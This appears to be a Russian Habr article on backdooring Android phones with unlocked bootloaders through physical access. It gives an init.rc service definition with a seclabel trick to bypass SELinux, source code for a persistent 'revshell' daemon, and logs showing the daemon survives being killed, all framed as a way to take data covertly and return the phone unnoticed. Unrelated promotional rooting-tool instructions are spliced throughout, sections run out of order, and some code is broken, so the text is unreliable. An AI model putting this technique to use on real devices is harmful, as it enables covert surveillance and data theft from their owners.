Как root-права и альтернативные прошивки делают ваш android смартфон уязвимым / Хабр

Вступление

Сразу в начале оговорюсь, что все упомянутые опасности будут касаться наших устройств только если у злоумышленника есть физический доступ к девайсу. Поэтому можно просуммировать необходимые начальные условия:

• Физический доступ к смартфону. Нескольких минут будет достаточно.

• Загрузчик на смартфоне уже находится в разблокированном состоянии. Это главное условие. Оно в 95% случаев справедливо для устройств, на которых получены root-права или установлены сторонние сборки ОС, на что и намекает название статьи, но вполне возможно что пользователь по каким-то странным причинам решил разблокировать загрузчик и без этого. Нам не принципиально, загрузчик разблокирован — можно атаковать, версия android не имеет значения, наличие или отсутствие рута также не имеет значения. Именно о возможностях, которые даёт атакующему с физическим доступом разблокированный загрузчик, и будет вся суть статьи.

• Для устройства существует возможность организовать sideload. Например, для устройства есть TWRP или иной образ recovery дающий возможность перевести устройство в режим sideload. Для большинства популярных устройств, поддерживающих разблокировку загрузчика, существуют готовые образы TWRP.

Если задуматься, то ситуация с физическим доступом к смартфону не такая уж и невероятная. Например, последние годы набирает тенденция проверки мобильных устройств пограничниками при въезде в страну. Количество подобных проверок увеличивается в разы с каждым годом и вскоре может стать повсеместно распространённой практикой.

С одной стороны это вопиющий произвол, нарушение законов и вторжение в частную жизнь, с другой стороны, законы большинства стран в этом моменте очень скользкие, плюс, например, на границе вы ещё не попали на территорию страны, поэтому и законы защищающие вашу частную жизнь ещё могут не действовать.

В общем, «отжать мобилу» у вас смогут в подавляющем большинстве случаев. В журнале Хакер есть отличная статья обозревающая эту проблему. Если по каким-либо причинам вас задержит полиция, то все ваши электронные устройства также будут изъяты и, как и на границе, могут быть незаметно для вас пробэкдорены.

Почему root-права не устанавливаются производителем

Возможность превратить любое устройство в «кирпич» из-за некомпетентных действий и является основной причиной, по которой разработчики не спешат наделять всех потенциальных пользователей root-правами.

Мало того, несанкционированное получение этих прав чревато другими негативными последствиями, среди которых:

• потеря гарантийного обслуживания даже для новых устройств;
• возможность повреждения файловой системы и операционки в целом;
• прекращение техподдержки (отключение всех официальных обновлений);
• отключение антивирусной защиты (неразрешенный доступ);
• поломка устройства.

Проще говоря, производители страхуются, не предусматривая для своих потенциальных клиентов возможности перехода в суперадмины.

Обязательно должны учитывать этот нюанс и сами пользователи на случай, если они решатся на несанкционированное рутирование.

Что ещё можно сделать?

Данный вариант установки бэкдора довольно грубый. Внедрение происходит напрямую в системный раздел, что неплохо, но можно сделать лучше. Например, несмотря на то что простенькие root-детекторы его не обнаружат, изменённое состояние system раздела точно не позволит пройти проверку SafetyNet, хотя можно попробовать поиграть с исходниками MagiskHide и заточить их под свои нужды.

Логичным продолжением будет хранение нужных файлов отдельно и монтирование их поверх системного раздела таким же образом каким magisk доставляет в файловую систему свои файлы. Продолжая мысль ещё дальше можно попробовать внедриться напрямую в ramdisk и прямо оттуда прокинуть его в файловую систему и смонтировать поверх system.

Что делать, если root так и не был получен?

Framaroot является достаточно универсальной программой, но даже она не может обеспечить успешную работу на всем спектре Android-устройств. В этом случае посетите форум нашего сайта, найдите тему, посвященную вашему устройству и там вы, скорее всего, обнаружите очень подробные и действенные инструкции, посвященные получению прав суперпользователя именно на вашем смартфоне или планшете.

Baidu root

Подобного ПО слишком много, и если хочется выбрать надежное, то вариант BAIDU ROOT – ваш вариант. Фактически утилита представляет собой усовершенствованную версию RootDashi и Dingdong, подходящую более чем для 600 недорогих моделей Android-устройств и имеющую единственное предустановочное требование, которое заключается в обязательном проведении резервного копирования.

Далее можно приступать к получению прав, придерживаясь следующей простой схемы:

1. Производим закачку и установку ПО.
2. Принимаем все пользовательские соглашения.
3. В случае появления уведомления об обновлении подтверждаем его установку.
4. Выбираем старт после апдейта.

Все. Осталось только подождать минут – и вы админ.

Kingo android root на русском языке

Использовать данное приложение проще простого, ведь оно имеет русскоязычный интерфейс.

Инструкция следующая:

1. Скачиваем и устанавливаем утилиту на ПК.
   
2. Активируем на смартфоне режим отладки по USB, попутно разрешая установку ПО из неизвестных источников.
3. Производим запуск программы, подключая устройство к ПК через USB-кабель.
4. После обнаружения устройства и установки всех драйверов выбираем команду ROOT, тем самым запуская процесс системного взлома.

Ну и, конечно же, перезагрузите устройство, чтобы оно могло корректно работать, поддерживая новые пользовательские возможности.

Root права для android (40 способов получения) |

Root права на xiaomi разблокировка загрузчика (2022) | root-device — игры, программы и root права на android

Selinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством.

Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис.

Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут.

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст.

Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать.

SELinux может работает в трёх режимах:

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна.

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Vroot

Китайским аппаратам больше подойдет эта утилита.

Ее применение предполагает пошаговое выполнение следующих действий:

1. Скачиваем приложение на ПК (оно поддерживает исключительно китайский интерфейс).
2. Производим установку ПО, проставив птичку для его запуска.
   
3. Включаем на смартфоне «Режим отладки по USB», не забыв дать добро на установку программ из неизвестных источников.
4. Подключаем смартфон к ПК через комплектный USB-кабель, выбираем команду ROOT и ждем окончания процесса присвоения новых прав.

И вновь ничего сложного, поэтому можно смело пробовать любое из описанных ПО.

Другое дело, что нужно четко понимать, для чего вам вообще нужны эти самые root-права, заведомо отказавшись от любых экспериментов с их применением. Исключением может стать только смартфон, который в случае чего будет не жалко утилизировать, поскольку риски действительно есть и они более чем реальны.

Внедряемся в систему без установленных root-прав

Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так.

Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены.

Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды.

Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ.

Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом.

Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell disabled seclabel u:r:magisk:s0 shutdown critical
on property:sys.boot_completed=1 start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once
#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>
#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"

revshell.hpp

#include "revshell.hpp"
bool check_fs_decrypted() { bool result = false; struct dirent *entry; DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR); if (dir == NULL) { return result; } while ((entry = readdir(dir)) != NULL) { if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) { result = true; } } closedir(dir); return result;
}
int run_in_main_proc() { LOGD("Start successfull!n"); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGKILL, SIG_IGN); LOGD("Signals are set to ignoren"); int timer_counter = 0; int timer_step = 5; LOGD("Hey I'm a revshell process!n"); LOGD("My PID -- %dn", getpid()); LOGD("My parent PID -- %dn", getppid()); LOGD("My UID -- %dn", getuid()); LOGD("Awaiting encrypted FS decryption now..."); while (true) { sleep(timer_step); timer_counter = (timer_counter timer_step) % INT_MAX; if (check_fs_decrypted()) { LOGD("FS has been decrypted!"); break; } } LOGD("Starting reverse shell now"); while (true) { sleep(timer_step); timer_counter = (timer_counter timer_step) % INT_MAX; LOGD("tick ! %d seconds since process started", timer_counter); } LOGD("Exit!n"); return 0;
}
int main(int argc, char *argv[]) { return run_in_main_proc();
}

revshel.cpp

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587 3589 3589 D revshell: Start successfull!
01-31 23:42:07.588 3589 3589 D revshell: Signals are set to ignore
01-31 23:42:07.588 3589 3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588 3589 3589 D revshell: My PID -- 3589
01-31 23:42:07.588 3589 3589 D revshell: My parent PID -- 1
01-31 23:42:07.588 3589 3589 D revshell: My UID -- 0
01-31 23:42:07.588 3589 3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell
u:r:magisk:s0 root 3589 1 0 23:42:06 ? 00:00:00 revshell
u:r:shell:s0 shell 5546 5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell
u:r:magisk:s0 root 5592 1 0 23:51:34 ? 00:00:00 revshell
u:r:magisk:s0 root 5601 5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Зачем нужны рут-права и есть ограничения к установке

Проще говоря, root-права превращают обычного пользователя в суперпользователя, наделяя его возможностями администратора и позволяя менять системные приложения.

При этом существует три основных вида таких прав: Full, Shell и Temporary, от выбора которых напрямую зависят пользовательские возможности:

1. Так, в первом случае пользователь наделяется полными правами доступа, действующими на постоянной основе. Их удаление становится возможным только при выполнении ряда определенных действий.
2. Второй вариант отличается от предыдущего только тем, что он не обеспечивает доступ к главной системной папке system.
3. Ну а третий вид root-прав представляет собой самый доступный вариант, действующий на временной основе до первой перезагрузки устройства.

Зачем это вообще все нужно? Прежде всего, чтобы иметь возможность избавиться от установленного по умолчанию ПО, которое является невостребованным. Такого в современных смартфонах предостаточно – разработчики буквально набивают свою продукцию всевозможными приложениями, часто совершенно бесполезными, но много весящими.

Помимо прочего обладание root-правами открывает перед новоиспеченными админами следующие возможности:

• взламывание игр, бесплатные покупки в них (реально в совокупности с дополнительным ПО);
• удаление всплывающего рекламного контента из игрового пространства;
• корректировка и удаление системных файлов;
• установка приложений, функционирующих с root;
• установка сторонних модов и утилит;
• активация различных вспомогательных функций;
• установка приложений на карту памяти;
• повышение общей производительности устройства (возможно только в совокупности со специальным ПО);
• изменение тем, значков, анимаций, звуков, приветственных сообщений и прочая работа с интерфейсом.

На этом перечень возможностей, открывающихся для тех, кто переходит в статус суперадмина, отнюдь не заканчивается.

Другое дело, что ими нужно уметь пользоваться, поскольку любые неправильно внесенные изменения способны повлечь за собой серьезные последствия.

Зачем это нужно?

Среди преимуществ можно выделить следующее:

• получение доступа и возможность изменения системных файлов и приложений;
• возможность установки множества приложений, которые требуют для своей работы root:
• установка сторонних прошивок и модов;
• удаление предустановленных программ и прочего мусора;
• активация многих дополнительных функций Android;
• увеличение производительности и автономности с помощью специальных программ и твиков.

Как бесплатно рутировать телефон с android 10 с помощью пк

Если же у пользователя есть доступ к ПК, то произвести рутирование гаджета, работающего под управлением 10-й версии Android OD, можно с помощью двух других приложений, функционирующих на бесплатной основе. Так же, как и в предыдущем случае, речь идет о совершенно безопасных и надежных утилитах, успешно проверенных многими пользователями.

Как защититься?

Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох.

Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства.

Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать.

Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.

Как получить root на моем устройстве?

Процедура получения прав суперпользователя, как правило, не сложная и при внимательном выполнении всех инструкций проходит без всяких проблем. Более того, создано несколько универсальных утилит, которые автоматизируют этот процесс и делают доступным даже самым начинающим пользователям.

Одной из самых известных является Framaroot. Эта программа позволяет рутировать очень большое количество разных устройств. И даже если название вашего гаджета отсутствует в списке поддерживаемых, все равно имеет смысл попробовать, так как есть довольно большая вероятность получения root, а негативных последствий точно не будет.

Итак, для получения root с помощью программы Framaroot необходимо выполнить следующие действия.

Как получить бесплатные рут-права на андроид 10 без компьютера

Итак, пользователь решился на расширение собственного статуса до администраторского и даже уже провел должную подготовку смартфона. Возникает вопрос – что дальше и где эти самые root-права получать, особенно если нет свободного доступа к ПК. Для этого были разработаны различные приложения, именуемые рутмастерами, которые доступны всем и каждому.

Как работают root-права?

Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать «легальным» и «нелегальным».

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

• FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал «двойной» загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется

• FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.

Какие минусы и опасности получения прав суперпользователя?

В Интернете достаточно страшилок по этому поводу и некоторые из них имеют под собой почву. Итак, среди недостатков root замечены следующие:

• это лишает вас гарантии (на самом деле все признаки этой операции можно устранить);
• вы не сможете получать обновления по воздуху от производителя;
• в некоторых случаях процедура получения прав суперпользователя грозит выходом из строя вашего устройства (но чаще всего гаджет можно оживить).

Нелегальные root-права и magisk

Я назвал предыдущий подход к получению root-прав «легальным», потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android.

Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав.

Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его «нелегальным». Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.

Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:

Получение удалённого доступа

Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:

• Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет. 

• Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.

• Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована. 

• Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения. 

Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона.

Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:

• Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.

• Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android. 

• Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя. 

• Первое что делает процесс init сразу после запуска — загружает скомпилированные политики SELinux и применяет их. SELinux — это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.

• Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.

• После отработки всех скриптов мы получаем полностью запущенную систему.

Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать. 

Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.

Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.

Подготовим описание нашего сервиса:

service revshell /system/bin/revshell disabled shutdown critical
on property:sys.boot_completed=1 start revshell

Укажем название сервиса revshell.

Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.

disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.

shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.

План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.

На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд.

Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:

avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE.

Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована.

На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей.

Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно.

Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Примерный список поддерживаемых устройств

Программа vroot

Самый простой способ установки ROOT на устройства Андроид (для некоторых устройств на сегодняшний день единственный способ установить ROOT). В данной версии программы уже реализована поддержка устройств на Андроид 4.3.

*На некоторых устройствах для установки ROOT, необходимо сначала разблокировать BOOTLOADER.

Результат

